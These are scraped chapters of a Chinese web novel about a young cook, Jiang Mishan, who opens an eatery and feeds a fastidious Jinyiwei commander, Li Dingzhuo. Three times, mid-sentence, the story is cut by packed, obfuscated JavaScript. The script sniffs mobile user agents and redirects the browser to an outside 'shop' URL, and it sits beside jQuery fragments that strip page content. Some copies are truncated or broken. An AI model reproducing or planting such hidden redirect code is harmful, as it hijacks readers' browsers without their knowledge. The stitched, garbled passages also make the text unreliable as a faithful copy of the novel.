可，活阎王怎么会到她这个不知名的小摊买吃食呢？ 7. 食肆筹备中 入夏，暑气微起，碗碗香中煮上了蛋饺、鹌鹑蛋、鱼肉豆腐、粉丝等美味，转为了菜蔬经过高汤烫热后，涮进香辣的辣椒油。 裹上层辣中带香，香中透辣的辣油的外衣，滑溜溜地逗弄舌尖，痒酥酥的，惹得人只想大吃几口，也别具一翻滋味。 对于改成辣味，大概唯一不满的人便是活阎王。 一滴辣油都不要，贯彻始终。 江弥杉再如何推销，他都不动如山，她只好在热意中，添了给活阎王添了把火。 沿街售卖中，江弥杉也总算寻到了心仪的铺子，距离国子监不远，就在国子监前的尚恒街，原本是售卖茶叶的，因为老板家中有急事，需离京，遂转售了铺子。 商定了五十两买的价格买下，一层的铺子，带个不大的院子，江弥杉画了图，请定制小摊的匠人改装。 置了铺子，江弥杉便按规定去市司监办了准入。 铺子里置了几套桌椅，两人明显应付不过来，江弥杉便打算再请一个帮手，趁着休息日，她与兰香去“人才市场”买人。 兰香对买人头头是道，因此挑人的事，就由兰香办。 ：“样貌要周正，待客要懂礼，也要有厨艺，如此厨房也要帮手。” 如此绕着，兰香问了一圈，都找不到合心意的，江弥杉跟在一旁，四处观望，寻找合心意的人选。 转头的无意间，忽瞧见一个白衫女子直直走近，江弥杉转身，未出意料，她走至面前。 兰香奇怪，转过身打量。 未等江弥杉问，那女子先道：“请问，姑娘是要买擅长烹调的人吗？” 江弥杉点头，那女子又道：“姑娘瞧我如何？” 样貌清秀，身形高挑，江弥杉问：“你都会做些什么菜？” 女子没有片刻迟疑：“都会。” 江弥杉微微挑起乌眉，微笑道：“不如去那边坐下谈。” 前方有片空地，有一套桌凳，女子瞧了眼，点头答应。 上前坐下，江弥杉道：“你先简单的介绍下自己。” 女子端坐，轻点一下头：“我姓方，名万宜，是湖州人士，在京城做厨子五年了。” 江弥杉疑问：“为何不继续做下去？” 女子沉寂的面容流露出哀伤，转瞬即逝，随后露出不甘：“因为……因为我被出了些意外，失了味觉。” 兰香蹙眉，似被欺骗般的语带不满：“失了味觉如何烹调啊！” 方万宜立刻望向兰香，：“我还会做面点、切菜，如何不能算烹调？” ：“即便不行，我还懂得算账、待客……” 兰香一愣，支支吾吾地不知该说什么话，求助地望向江弥杉。 江弥杉诧异又欣赏与方万宜的话，便道：“婢子无状，还请方姑娘见谅。” 她转头吩咐兰香去取纸笔，道：“先写份文书，立契。” 方万宜送了口气，淡粉的唇角微微扬起，：“多谢姑娘。” 江弥杉问：“你可请过大夫？” 方万宜垂眸：“大夫说，是毒，且下的猛，能否恢复如初，全看天意。” 味觉对于普通人都尚不可缺，更何况是对一位厨师，下毒的人，未免太狠了。 她有次经历，却还是振作起来，已是不易。 想着，江弥杉宽慰：“我想，即便暂失味觉，你同样也能烹饪，若需试味，你便找我。” 方万宜诧异地抬头，旁人都认为她无药可救了！ 江弥杉：“我姓江，名弥杉，适才的婢子叫兰香。” ：“你住在何处？” ：“寺庙。” 房屋被收回，私厂又变卖了陪给酒楼做几年来的培养钱。 两袖清风，居无定所，她只得去寺庙借住。 ：“搬来与我们一起住吧，住在一起也方便些。” 方万宜心中感激：“多谢江姑娘！” 兰香拿来笔墨，参照兰香口中的人身契，江弥杉写了一篇身契，签定了方万宜。 两人陪方万宜去寺庙拿去行囊，说是行囊，不过几套衣裳加鞋，与主持辞过，再一起下山，沿路采买，一起回了清尚街。 家中的被褥、布匹都还有很多，皇帝十分关照她，大约是看在皇帝与曾经太子的武术由江大将军所教，因而时不时就会送些补助物资来。 有一次送来时，还惊着了兰香。 铺陈好东厢房，江弥杉立刻拿了几批素净的缎子给了方万宜，：“你就当是迎新礼，我这儿不缺这些，放心收下吧。” 兰香跟着点头：“对，你就收下吧。” 方万宜只好道谢收下。 时近正午，各家各户都忙着准备午饭，江弥杉小院的烟囱炊烟袅袅，里间交谈声不断。 灶热着碗碗香的高汤，菜品都还有余量，江弥衫各样菜都取了些，分装在三个碗里，碗内堆成小山。 等待汤冒泡的间隙，兰香拿来剥好的葱姜蒜和小米椒，江弥杉快刀切粒，方万宜问：“姑娘打算做什么菜？” 江弥杉抬眼笑回：“烫菜。”又称清汤麻辣烫。 方万宜没听过，也没见过。 兰香笑道：“姑娘做得菜，许多都是奇奇怪怪的，有些我从未在京城里见过。” 江弥杉：“·······” 江弥杉岔开话，问道：“万宜，你从前主要做什么?” 方万宜答道：“最多的还是炒，其他的也有兼顾。” 奶白的烫咕嘟咕嘟响起。江弥杉拿下三个长漏勺，将碗内的各色菜品分别倒入，用钩子固定在锅边，接着将姜蒜、葱花、小米椒放入碗里调料，逐一拿过灶台木架上的陶罐摆放调料。 有盐、辣椒油、花椒、胡椒，香油、醋等调味。 味道，应该是酸麻辣口的，有鲜味在其中托底，想象一了下，方万宜觉着不会存有不美味的可能。 江弥杉：“嗯，午后我们想想开业卖什么菜品吧。” 方万宜：“听姑娘的。” 江弥杉：“······集思广益，集思广益。” 兰香：“不管是什么，姑娘做，都好吃。” * 食肆还在装修，江弥杉又推着小摊游走在街巷，仍然每日都会遇到活阎王。 这日，她刚为活阎王烫了一碗豆腐与豆泡，刚递过去，就听见一声调侃，探头一看，就见熟面孔看戏一般的走进。 章文安本是想着出来也买份碗碗香吃，却不想在此处竟看到一个再熟悉不过的身影，居然在买吃食！ 章文安指指点点地走近：“好啊，好你个李定卓，竟背着我出来偷吃！” 李定卓接过碗，：“我去哪，还要向你报备?” ：“强词夺理！” ：“胡搅蛮缠.”李定卓淡淡道。 ：“你······” 李定卓眼横过去，章文安立刻闭了嘴，转眼换了副面孔，笑着走到摊前，道：“我每样菜都要。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009204|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 江弥杉看戏看得津津有味，忽得断了，不免觉着可惜，但看活阎王的架势，可见他被叫作活阎王并不冤枉。 江弥杉收起哄的心思，专心为章文安涮菜，蘸料，满满一碗，江弥杉双手捧着递给他：“有些满，公子当心。” 章文安恩了一声，端碗走只李定卓身边，看他一口一口的吃着，心里压着的大石头也总算落了，却还是调侃：”我还以为眼花了，或是在做梦呢。” 李定卓夹起豆泡咬一口：“离我远些。” 章文安：“······” 江弥杉：“······”就这么不待见辣椒吗？辣椒多美味啊！ 章文安厚脸，并不在意，夹起个鹌鹑蛋送入口，长长的嗯了一声，李定卓挪了一步。 江弥杉轻咳一声，笑道：“公子其实可以尝试一回蘸油辣汤，味道也别具一般风味。” 章文安咽下香辣的鹌鹑蛋，没等李定卓开口，他先抢道：“姑娘无需费口舌，我们的李公子意志坚如磐石，非旁人可触动。” 李定卓：”知道就好。” 江弥杉笑容中多了几分尴尬，：“个人口味不同，兴许李公子口味清淡，因而不爱这些味道重的调味。” 章文安补充：“不止，他可挑剔了。” 江弥杉反应极快：“那是便是小女的荣幸了，能侥幸做出让口味追求完美的食客吃得下的菜食，让食客饱腹，实属幸事。” 话锋一转，江弥杉继续宣传：“待食肆开张，小女会更精细地做吃食，公子们若是得空，可来一尝。” 江记小食的木牌上就贴着一张纸，上面写有本月二十五，江记食肆于尚恒街开张的消息。 章文安笑道：“那是必然，只是可能只有我一人。”说着，他悄觑一眼身边的面无表情的李定卓。 李定卓安静吃着，未置一词，眼睛就沉沉落在章文安身上。 江弥杉暗暗捏了把汗，同样是锦衣卫，怎么差距这般大？ 看样子，活阎王还是他的上司。 阎王·····上司，江弥杉思索了片刻后，得到答案，李定卓是锦衣卫指挥使。 在点膳司时，许多御厨就因为给锦衣卫指挥使做得御膳不佳而受责备，其实说不佳是假的，主要就是新任指挥使的口味太过刁钻，甚是像是在故意找茬。 甚至连蒸得米饭都不满！ 以至于，每回他进宫，御厨都头疼。 但谁能想象，他会出现在这个毫不起眼的小摊，并且只要出摊，他都来买一碗，还尤其偏爱豆腐。 回想起送膳的太监到点膳司愁眉苦脸摇头说指挥使大人不满意时的景象，江弥杉当下觉着，章文安一个人来挺好的。 若是其他食客看到一个吃完脸色不好的人从江记食肆走出去，想想江弥杉都觉得心凉······· 但，她也不敢得罪指挥使，江弥杉笑道：“无论多少人，小女都会尽心尽力地烹饪膳食，争取让每位食客满意。” 李定卓端着碗，拇指不自觉的摩擦两下碗璧，目光转落至她身上，往前走近，递碗过去，语气中带着几分尚未察觉的温和：“结账。” 打量着李定卓原本就平静的脸这回儿寒气逼人，江弥杉吓一跳，待他开口，又觉着那里不对劲，而后松了口气，道：“一共十二文。” 付完钱，李定卓头也不回的离开。 章文安哈哈笑：“他就是这脾气。” 江弥杉：“……”挺有个性的。 8. 鸡丝凉面与汤面 二十五，天气晴的不见一抹云彩，烈日似在燃烧，空气都是烫热的。 热气腾腾间，江记食肆开张了。 三人从前两日就忙着为开业做准备，腌制菜蔬、熬酱配汁等等活计，到今日，又是早早来铺子里揉面、烹肉。 开业前，江弥杉寻了几家菜蔬、肉荤品质不错的菜贩，约定每日进货，但若是发现品质不佳，就换别家。 方万宜负责检查签收，每日售卖菜品，由当日采买的食材决定。 饭点，江记小食后厨袅袅香烟交缠升空，前厅也正忙，这会儿铺子的几套桌椅都满了。 这会儿来的大多是国子监的学员，兰香麻利地确定各种所点菜品，忙跑进后厨报菜。 ：“三号桌点四碗鸡丝凉面、清炒笋片、清蒸鲈鱼，黄焖鸡块。” 说完，兰香又提着茶壶去到各桌倒水。 鸡丝凉面的面码都是提前放齐的，青绿的黄瓜丝、淡黄的鸡丝、软软团成一圈的黄豆芽，环着碗，中间点缀金黄的油炸花生、嫩绿的青葱，清新非常。 江弥杉打开面旁砂锅的盖子，一股酸辣味直直冲了出来。 打起一勺，红棕亮眼的油辣汤上漂游着颗颗白芝麻，还未反应过来，就被绕着碗扑了一周。 一抹油亮棕红浓墨重彩地浸染，令人颤动的麻香中，又添酸味悄悄地小毛绒一般地在鼻息间撩动。 方万宜站在对面，面前的炉灶上炖煮着三个大砂锅，她打开盖子，顿时又冒出浓香。 锅内盛着热气腾腾的黄焖鸡块，方万宜盛出一勺，连着沙绵绵的土豆、香菇、棕黄油亮的鸡块一起倒入碗里。 片刻，热腾腾的炒笋片、清蒸鱼先后也出锅，一起端至窗口，由兰香送去对应餐桌。 卢灿宇满心期待地望着兰香端来的菜，耳边响着旁桌食客大口吃面的舒爽地感叹。 四碗面，三个菜，浓色惊艳、淡色清新怡人，相同的点就在于，香，实在是香。 兰香笑脸盈盈：“客官慢用。” 卢灿宇迫不及待地拿起筷子，拨开各色面码，金黄的细面露出光泽。 从底往上拌起，道道酸辣散漫而出，从暑热炎炎的乏味中，拉出来一抹食欲，令人口舌生津。 面拌匀，谁也不再多说一句话，急切地挑面进口。 刺激的酸辣先在口中绽放，酸味在舌尖撩绕，勾得人更饿了，辣，却不单独是辣，既香，又麻，隐隐约约的还尝的到甜鲜味，在舌尖冲冲舞动，只一口，就让他难以抗拒，不愿停歇，只想再来一筷！ 劲道的细面根根分明，顺滑地钻入口，咀嚼间又露出麦香，爽脆的黄瓜、豆芽夹在其中，凉爽又清新，这时那还有什么乏味之意，炎炎暑气都似被一盆凉水浇灭。 但世家子弟自幼刻进骨子里的风度还不容人肆意狂吃，一筷接一筷，细嚼慢咽，谁也不说一句话，自顾自地低头吃面。 待吃尽兴了，才先后亮着眼，道：“好吃！真好吃极了！” 吃了几筷面，卢灿宇又各夹清新脆嫩达的笋片、鲜美甘嫩的鱼肉、酱香肉嫩的几筷。 卢灿宇连连不绝地赞叹又吸引了好友的注意。 本就是来尝味的，不吃菜岂不是白来？ 木筷交错间，四碗面、三盘菜似在眨眼间的功夫见了底。 卢灿宇望着一丝不剩的瓷盘，决定改日必要自己点一桌菜，畅畅快快地吃一顿！ 如此想着，他起身到柜台结账。 兰香算得钱，笑道:"小店今日开业，满百文减二十文，公子们点了一百四十文的餐食，因而只需付一百二文。" 四人各拿出钱凑齐付款，谈论适才一桌的美味，一面争执那道菜最美味，一面往外走。 兰香待客结账都不成问题，账结得又快又准，口条利落，时而还与食客聊上几句，大堂秩序未有一点风波。 忙碌间，午间的营业圆满告终。 * 月似金钩般的悬挂在乌檐之间，铜门由外打开，门口的两人低头叫了声指挥使。 李定卓窜入漆黑的天色，长影往前移，肩处的两条金兽一半被艳红浸染，白领上也点缀着几朵红梅。 赶着浓浓夜色，李定卓换了身墨蓝便服，兴许是饿意作祟，他莫名想起豆腐、豆腐袋的鲜香，长睫微颤两下，转身走出房屋，独自往外走。 提着灯笼慢步行至尚恒街，大多商铺已歇业，借着薄淡的月光，江记食肆隐隐约约也亮着，从内投一片烛光。 本想若是打烊了，就回去，但这回，他兴许赶上了。 李定卓走进，店内已经收拾干净，正巧遇上端着一大碗蒜，从里间走出的江弥杉，四目相交，她明显的愣了片刻。 兰香与方万宜回了家，江弥杉留在店里为明日的营业做备，待处理好细小的食材，便宿在后面院子的空房，这时来了客人，又只得放下手头的事，招待他。 江弥杉亦是没想到，李定卓会来，而且来得时辰也不早，挑在打样这个点，不过也怪她忘了挂牌子，才使得人不晓得已打样 江弥杉放下蒜，上前招呼：“公子请坐。” 李定卓在入口的一张桌子坐下，像是猜到已经打样，先道：“叨扰了。” 江弥杉扬起笑颜，尴尬地说：“今日的菜品都已售罄·······” 李定卓抬眼打断：“能填饱胃就可。” 江弥杉想了片刻，有了主意：“那公子稍等。” 茶水都用完了，只有一壶她喝的温热水，为了应急，江弥杉进到厨房就重新拿了个洁净的茶杯，倒满一杯，端送给李定卓：“夜深露凉，公子先喝口温水，热身。” 李定卓却也没有恼，低低嗯了一声，江弥杉转身时，他握起杯，饮了口茶。 又回到厨房，今日生意不错，相应的菜品售罄，米饭也未有剩余，只有面还留着一碗，本是打算做完事情，烫了吃的，当下也只好拿出来。 想着李定卓不吃辣，口味清淡，江弥杉决定煮一碗素面，她拿出剩下的竹笋、莴苣、香菇等几种菜蔬，切成细丝，加酱油、盐，鸡汤调味，炒成浇头，接着热水煮面。 趁煮面的功夫，江弥杉切好香葱，又去捞了一根黄瓜，切成片薄片，装在白瓷小碟里。 面熟，江弥杉捞起面倒入碗里，打一勺已经熬制了一个时辰的鸡汤做汤底，放几滴香油提香，接着淋上淡棕色的素浇头，其上点缀一把深绿的葱花。 江弥杉端着汤面与小菜放上桌，：“菜食简单，招待不周，还请公子见谅。” 一碗中规中矩的面，素浇头，的确简单，不过鲜香的热风却抚慰了他空荡的胃。 李定卓的面上如常，未有一丝波动：“无碍，去忙吧。” 江弥杉：“······” 江弥杉猜想，兴许李定卓不喜欢别人看着他用饭，因而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009205|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背身坐只放盆的最前桌，安心剥蒜。 背后，李定卓已拌匀面。 他先拿起勺盛汤入口，鲜香的鸡汤热乎乎的，尝不出一丝鸡身上的腥味，味道醇厚，熬制时间必然已久，虽有浇头，但鸡汤的口味并未受影响，而变得杂乱，却是恰到好处的融在了一起，咸香鲜美。 他接着跳起几根面吃入口，面条劲道顺滑，沾有鲜香的汤汁，却又不夺面自身的谷香，软硬合适，若是煮的时间不足，硬口夹生，煮的时间太长，又耙软稀烂，偏偏她就掌握的很好，这面做的就恰到好处，令他的舌头满足。 不由自主地想起往日夜深，他说饿了，也会有如此一碗美味的热乎乎的面条…… 李定卓又接着挑起一筷，慢慢咬入，盯着前方某处细嚼，一口咽下，才垂眸继续挑面入口。 时而又夹一片酸甜的腌黄瓜，也是慢慢嚼，慢慢咽。 江弥杉剥完半碗蒜，身后的李定卓都还未吃完。 江弥杉觉着，虽然菜品简单，但兴许还是对李定卓胃口的，否则就该如在宫里那样，吃一口，就摆下筷子，由御厨猜，他到底想吃怎样的膳食。 兴许与御厨说，阴晴不定的指挥使吃素面，御厨们也不会相信，当然，阴晴不定的指挥使吃路边摊更难以说服他人。 如此看，她的厨艺的确没法挑，否则李定卓也不会再来。 但，李定卓之前盯着小摊看的事，仍然古怪。 不是寻仇，那还是什么，她与李定卓彼此没有交集，若是有，记忆会解，偏偏记忆也无，也不是无赖，上来就开口调戏…… 除此之外呢，还有什么会让指挥使来盯着她？ 克服了对锦衣卫的恐惧，但仍未想清楚此事中关键，江弥杉剥下层蒜皮，将黄白色的蒜瓣丢进碗里。 想不通的事，江弥杉也丢至一旁，若是有机会，必要问个清楚。 当下，还是抓紧之间剥蒜，今晚还需要将蒜片熏制出来，如此明日就可推出蒜香拌面，若是要加汤，做成酸辣口的蒜香汤面也可。 直至江弥杉蒜剥完三分之二，身后才传来一声结账。 江弥杉在围裙上擦干净手，但幸辣的蒜味仍印在指尖，她走过去，笑道：“公子付我八文就好。” 八文一碗面，是贵了些，但她用得可是土鸡汤！！ 李定卓眉心蹙起，又很快松开，将钱付放在桌面上，道了声谢便离开。 江弥杉看眼一丝不剩的碗，又望向离开的人，看来是很对味口，便端起碗送进厨房。 李定卓未走远，就站在出口的一片黑暗里等待。 时间久了，仍不见人出来，又往回走。 食肆已熄了灯，他又飞身上瓦，望向一看，院子里果然还亮着灯。 江弥杉就靠坐在悬着灯笼的树，面前置有碳炉，炉内未冒火，而是泛着烟，上方置网，网又被一个木罩严严实实，像是在熏制什么。 朦胧地烛火下，她仰着头，静静望着天，风拂过她鬓角的散发，她清皎如月，显得十分静谧，不知在想什么。 李定卓淡淡望着，干脆坐下，慢慢等。 夜深，院里的人才提着灯笼，怀抱一碗熏好的制品，走入屋，过了一会儿，又提着一个茶壶走出，往院里的房屋去。 若无那件事，她现在，不该如此孤独…… 直至屋里的灯火熄灭，李定卓才飞身而下，藏于夜色中离开。 9. 红烧晶肉 解暑的凉食是一方面，但作为食肆，也需有几道远近闻名的菜，江弥杉最先想到的就是红烧肉。 起锅烧油，江弥杉倒入猪肉炸去过多的油脂肪。 脂肪过多，入口容易生腻，但脂肪过少，入口有失了丰腴的口感，江弥杉习惯将红烧肉做成肥而不腻，瘦而不柴的口感。 既能感受油脂在一抿就化的丰腴，又能体会瘦肉一口到底的痛快。 油泡噼啪噼啪，脂层渐渐剔透，江弥杉捞起肉块备用。 做红烧肉，着色，江弥杉更偏爱于糖色，棕中带红的色泽，静时宛若一池琥珀泉，清透亮眼，携着焦糖的香甜。 当弹软的肉块跳入红泉，裹上亮眼晶衣，在勺得翻动间，亮眼的棕红浸染皮肉，肉的醇香也慢慢随着时间，蛮不讲理的攻入鼻喉。 再加入生抽、老抽、八角、山楂片等材料润色，热水浸入，在砂锅中，肉块迎来第二次塑色增味。 兰香凑至灶前，馋得咽舌：“拿这肉拌饭该多香呐！” 方万宜泡好豆皮，走上前，毋庸置疑，如此香气，做出的红烧肉块也必然不差。 这些天以来，她是彻底拜服于江弥杉的厨艺，炒、炖、煮、炸、煎……样样精通，且技艺熟练精湛，挑不出一点毛病。 对于火候、时间、味道的把控更是精准，几乎一口就能点出菜品中存有的不足之处。 没想到，江姑娘年纪轻轻，却有如此精湛的手艺。 许多她为留意的点，江弥杉都能把控，且处理的极好。 做出的吃食，她虽不知晓是何味道，但看收回的餐盘也晓得，必然是十分美味，否则也不会一丝菜都不剩。 方万宜道：“就算光吃都香！” 江弥杉哈哈笑两声：“红烧晶肉盖在饭上，加几条绿青菜、黄煎蛋，再淋一勺肉汁，今日午饭就吃这个如何？” 兰香眼睛一亮，举手赞成。 炖着肉，江弥杉与方万宜又忙起其他菜品，今日做得还有许多，鸭肉卷、醋溜虾仁……算起来也有十多道。 忙活至饭点，后厨的事宜才大致做完。 江弥杉为三个碗都盛得满满米饭，米饭上盖上晶石般的香肉，浇上肉汁，又放了几片腌黄瓜，香得一塌糊涂，三人闷头吃完饭，江记食肆才正式营业。 客人源源不断，天色也渐渐转浓。 店内走完一批食客，江弥杉与方万宜出来休息闲聊。 江弥杉喝了口清茶，问：“万宜，你知晓何处有售牛乳吗？” 方万宜喝得却不是茶，而是去医馆开得药，：“牛乳？这我不大知晓，不过牛乳价贵，食肆酒楼通常少有用牛乳入菜的，多是庄子直送给了官宦人家。” 江弥杉很可惜：“我打算做些甜品，饭后作甜点小食，若是有牛乳更好。” 没有牛奶，就做传统的茶点，过几日展开午茶业务。 烹茶品点，炎炎午后，惬意地喝香茶、品点心，想想也舒坦。 小食、家常菜都有了，当下在补上茶点，江记的主营业务大致也齐全了。 兰香道：“茶点大多是官夫人、小姐们食用呢……” 话未说完，兰香自觉失口，停下不言，又望向江弥杉，见她神色无常，才终是放心。 正此时，传来一道爽朗的笑语：“怎么无人招待呢？” 循声望去，就见两个锦袍男子走近，两人都穿红底飞鱼服。 方万宜与兰香转过身，脸色一暗，愣着望前方，江弥杉笑着起身，轻声道：“先进去，这儿我来招待。” 兰香望着前方，又望向江弥杉，极其小声的道：“姑娘当心。” 说完，就拉着方万宜快步躲进里间。 江弥杉走上前招待两位熟客，：“大人们请坐。” 大约是前几日之后，李定卓总会在客稀是光顾。 客稀时，江弥杉便让兰香与方万宜先回家休息，作为老板，她一人照看食肆。 除了还是不吃辣，李定卓的要求便是，填饱肚子即可。 因而江弥杉大多挑得还是口味淡的菜，比如蒸蔬菜饺、滑蛋虾仁、香菇鸡肉丸…… 李定卓细嚼慢咽地吃完，留下百钱，无需找零，就离开。 不过今日来得早些，看样子应当是外出办完公务，顺道来这儿吃顿晚饭。 江弥杉笑着介绍：“今日主卖有红烧晶肉、脆皮鸭卷两道菜，都未加辣椒，辣味的有酱烧鸡腿、辣锅鸭足……” 她说完，章文安思索片刻，定卓不吃辣，但他可以。 ：“红烧晶肉、辣锅鸭足、在来份清炒空心条，两碗米饭。” 江弥杉笑着应下，又迅速倒了茶水端去：“大人们稍等。” 江弥杉走后，章文安垂眸一眼身上的服制，故意感慨：“真是，恶名在外啊。” 李定卓握起茶，浅抿一口微涩的茶，涩中缓缓回甘，：“你若是想做善人，也可。” 章文安笑眯一双狐狸眼：“我本就是大善人，心慈手软，从不见血。” 李定卓：“是啊，闭眼也算不见血。” 章文安咳两声：“恶名在外的主要是指挥使您啊……” 李定卓：“哦。” 章文安无奈地笑着摇头，端茶大饮一口，痛快地长叹一声。 又过片刻，江弥杉端着菜食走了出来。 她逐一介绍完，掏出一根火柴擦亮，伸进小土炉中，点燃油蜡烛，小铁锅里又起滋滋香辣。 江弥杉：“大人请慢用，有何吩咐，叫我一声。” 李定卓蹙眉：“我去另一桌。”说完又望向江弥杉，：“给我一个碟子。” 江弥杉：“……” 可怜的干锅鸭爪…… 江弥杉取来碟子，就见李定卓快夹几块红烧肉和空心菜，端着碟子坐至别桌。 两人不尴尬，江弥杉到尴尬地扣紧袖边，站回到柜台。 一个爱辣，一个又如此排斥，难不成他们吃饭都这样吃？ 双人桌变单人桌，换做讲究的饭店，会被严令禁止的吧…… 若是冬日吃火锅呢，两个锅吃一套菜，否则鸳鸯锅也会吵起来的吧？ 但……如此她就亏了啊！ 想着，江弥杉抬眸瞄一眼对面的神色冷淡的李定卓。 李定卓夹起块颤巍巍的肉，色泽棕红，艳艳透亮，未有黑色透出，皮脂剔透，肉层色泽更艳上几分，一眼瞧上去，到与狱中某位家里的琥珀肉石甚是相像。 筷子夹上肉块，肉身软得微微回弹，随着挪动轻轻颤动，一滴剔透的油汁就爬下肉身，轻轻滴落。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009206|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 李定卓轻咬而下，皮脂至肉身，正好一口的距离。 甜咸的口味，甜意并为占据最多味道，四五分甜味，甜度恰到好处，多少一份都平淡，不让人生出腻感，最是柔软的甜，这会儿也在口中跃起，冲入脑海，莫名让人感到欣悦。 细品之中，隐隐约约似乎泛上丝丝酸味，解腻又添彩。 醇香晕染口鼻，肉自身的香融和恰当香料，香味缠绕着舌尖，在咀嚼间浓郁升起。 皮脂在唇舌间耙软，轻轻一抿既化，润润瘦肉久嚼未有柴意，香软多汁，慢嚼时，也未有肉的腥膻。 未等李定卓开口，后桌的章文安已经已经抢道：“好吃！太好吃了！！” 李定卓眸底浮出一抹波动，又接着咬入余下的晶肉。 晶肉，的确配得上这个名字。 恰到好处的满足了他的口腹，找不不一丝不好，若偏要找出一个，大概就是少夹了几块。 他不想回去闻那道冲鼻的辣味。 一口肉，一口软硬适宜的米饭，当肉汁滴燃米饭时，李定卓轻而易举底将肉一分为二，内里已被汁水浸染成淡棕色，涌入缕缕粼粼热汁。 他拿起了瓷勺，从底往上，将浸着棕红油汁的香软米饭、油亮动人的晶肉盛起，抿入口中。 实在是甚香，肉与米饭的结合，使得心神都得到满足与慰问。 章文安已经举起手：“老板，有酒吗？” 实在是，不来点酒，甚是可惜！可惜到他可能夜里都会想着如果有酒就好！ 江弥杉还在想盖浇饭的事，一声被拉回神，她抬头道：“有。” ：“来贵的。” ：“好！” 江弥杉去里间取酒时，兰香与方万宜都很担忧。 ：“姑娘，他们没为难你吧？” ：“江姑娘必要谨慎，他们轻易得罪不起。” 江弥杉从酒罐里打起两勺清酒，酒香四散间，她笑道：“放心吧，我有数。” 说完，她端酒离开。 李定卓吃得饭，章文安拿鸭爪下酒，彼时有来几位客人，瞧见锦衣卫的，又舍不得走，只好离得远远的，轻声轻语地点菜。 江弥杉觉着，如此下去，得开个包间，如此就算锦衣卫团建，也影响不到其他食客。 不过，开包间得有人力呐！ 可不是三个人就能搞定的事，此事还需暂缓…… 其实晚间来也可，穿便服更好，不过这是人家的自由，她也管不着…… 她还是只管做好菜，做好食肆老板，满足食客口腹之欲就好。 夜色渐浓，李定卓与章文安才停了筷，江弥杉去结账。 章文安费尽口舌将人带来，自然是做足了请客的准备，钱袋一掏，十分大方：“不用找了。” 李定卓喝茶净口，面前的餐碟与碗空无一物。 章文安走至桌边，看了笑道：“我就说吧，来尝尝味道如何，怎么样，没白走一趟吧。” 江弥杉打量起来，只觉其中有内情。 李定卓神色如常：“嗯，是不错。” 江弥杉望向章文安：“……” 他什么都不知道，甚至不知道好兄弟背着他已经来江记好多次了！ 李定卓，究竟有什么秘密呢？ 10. 凉皮 暑气渐浓，不大的江记却并未被暑热吞没，晚食的营业高峰一过，厨房各色菜食大多都售卖完。 爽口的面筋凉皮在暑热的催化下十分畅销，蓬松的面筋浸满酸辣的凉汤，淡黄的面皮劲道而富有弹性弹，抖抖颤颤，淋挂在上的红油汤汁一滴就进了食客的心里。 拌上细面，来一份双拼，又是双倍满足。 食客好奇的面筋，其实在上辈子，大街小巷的凉皮摊位都常见。 江弥杉时而也会做一碗，满足口腹。 面团泡进水里，不断地搓揉，水在搓洗面团间逐渐转为奶白色，反复几道过后，面团并未融化，而是化为淡黄、多孔的新样貌，触手弹软、筋道。 而奶白的洗面水，在静置过后，会在底层沉淀面糊，加入热水搅拌均匀。 搅拌中，面糊逐渐转稀，稀稠的程度类似于豆浆。 在锅底涂抹一层油，浇几勺面糊，隔水摇晃，盖上锅盖加热。 熟热的面皮会鼓起大泡，晾凉后，薄厚均匀、劲道弹动的面皮就大功告成。 老少皆宜，酸辣开胃，小食也有小食的魅力。 江弥杉本想着收起，思索片刻，从厨房往外探头。 夜色止在烛光轻洒的台阶前，下一刻，一道长影覆盖，接着走进一位顶月而来的熟客。 四目相视，江弥杉一笑，走出去迎接：“公子随便坐。” 李定卓直觉她应该是在等他，兴许他是最后一个顾客，招待完，食肆就打烊。 其实，她大可早些打烊，无用每日顶着夜色回家，甚至不回去。 莫名的感觉从心底冒出，说不上来是什么，惊扰着心尖。 想起凉皮，江弥杉试探着问道：“公子，一丝辣都不吃不成吗？” 李定卓眸光一暗，习惯地露出几丝被试探后的警告，良久没有回答。 沉默间，被一双寒渊般眸子盯着，上挑的眼尾似乎都在流露不可试探的警示，似一条蟒，直起身子，吐着尖舌，瞪着入侵着，江弥杉手心都冒出冷汗，稳着心绪解释：“今日又得菜都用尽了，只有面筋凉皮和细面还有些，正好够一碗。” ：“但若是不放辣油，口味会略差些，因而想问公子，并非是有意冒犯公子。” 毕竟指挥使大人十分挑剔，现在再加一个，不合心意时非常吓人。 李定卓深吸一口气，：“先做不加辣的，若是不合，再加。” 江弥杉应：“请公子稍待片刻。” 好吧，今天也可能是辣油不出场的一日。 江弥杉送来茶，又继续去里间做面皮。 